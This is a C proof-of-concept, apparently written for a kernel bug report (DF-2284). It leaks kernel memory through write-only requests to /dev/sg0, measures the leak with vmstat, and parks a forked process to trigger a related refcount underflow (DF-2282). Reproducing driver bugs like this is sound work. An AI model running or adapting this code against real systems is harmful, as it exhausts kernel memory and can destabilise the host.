DF-2284 / sg2284.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | /* * DF-2284 PoC v2 -- sgwrite() queues sg_rdwr+ccb+buf on rdwr_done that * only a matching sgread() ever frees; sgoninvalidate()/sgcleanup() * never drain the list -> write-only usage leaks kernel memory forever. * * v2 choreography (designed around the DF-2282 open/close refcount bug * so the measurements survive): * phase 1 (this process): single open, N write-only requests, * vmstat M_DEVBUF delta #1, then fork a HOLDER that just parks with * the fd open; parent exits (file refcount 2->1, no sgclose). * phase 2 (external): vmstat delta #2 (fd still open, entries parked). * phase 3 (external): kill -9 holder -> last close -> sgclose -> * cam_periph_release (refcount 1->0: the DF-2282 underflow) -> * sgoninvalidate+sgcleanup run with rdwr_done full -> vmstat * delta #3 (entries now orphaned forever: softc freed). * * Expected: delta#1 ~= N*(64K + sizeof(union ccb) + ~120B); delta#3 * unchanged from delta#2 (nothing drained at invalidation/cleanup). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <sys/types.h> #include <sys/wait.h> struct sg_hdr_local { int32_t pack_len; int32_t reply_len; int32_t pack_id; int32_t result; uint32_t bits; unsigned char sense[16]; }; #define SG_HDR_SIZE 36 #define NWRITE 400 #define DATASZ (64 * 1024) static long mdevbuf_inuse(void) { FILE *f = popen("vmstat -m 2>/dev/null | grep -w devbuf", "r"); char line[256]; long kb = -1; if (f == NULL) return (-1); while (fgets(line, sizeof(line), f) != NULL) if (sscanf(line, "%*s %ld", &kb) == 1) break; pclose(f); return (kb); } int main(void) { static unsigned char req[SG_HDR_SIZE + 6 + DATASZ]; struct sg_hdr_local *h = (struct sg_hdr_local *)req; unsigned char *cdb = req + SG_HDR_SIZE; long b0, b1; pid_t holder; int fd, i; setvbuf(stdout, NULL, _IONBF, 0); b0 = mdevbuf_inuse(); printf("DF2284: M_DEVBUF before: %ld K\n", b0); fd = open("/dev/sg0", O_RDWR); if (fd < 0) { printf("DF2284: open /dev/sg0 FAILED %s\n", strerror(errno)); return (1); } memset(req, 0x41, sizeof(req)); cdb[0] = 0x2a; /* WRITE(10) */ cdb[8] = 0; for (i = 0; i < NWRITE; i++) { h->pack_len = (int32_t)sizeof(req); h->reply_len = 0; h->pack_id = 0x9000 + i; if (write(fd, req, sizeof(req)) != (ssize_t)sizeof(req)) { printf("DF2284: write %d FAILED %s\n", i, strerror(errno)); break; } } printf("DF2284: queued %d write-only sg requests, no read() issued\n", i); sleep(3); b1 = mdevbuf_inuse(); printf("DF2284: M_DEVBUF after writes: %ld K (delta %ld K; " "predicted ~%d K)\n", b1, b1 - b0, (int)(NWRITE * 67 / 1024)); /* park a holder with the fd open; parent exits without sgclose */ holder = fork(); if (holder == 0) { signal(SIGTERM, SIG_IGN); for (;;) pause(); _exit(0); } printf("DF2284: holder pid %d parks with fd open " "(external phases: vmstat, then kill -9 %d)\n", holder, holder); sleep(1); return ((b1 - b0) > (NWRITE * 67 / 1024) / 2 ? 0 : 1); } |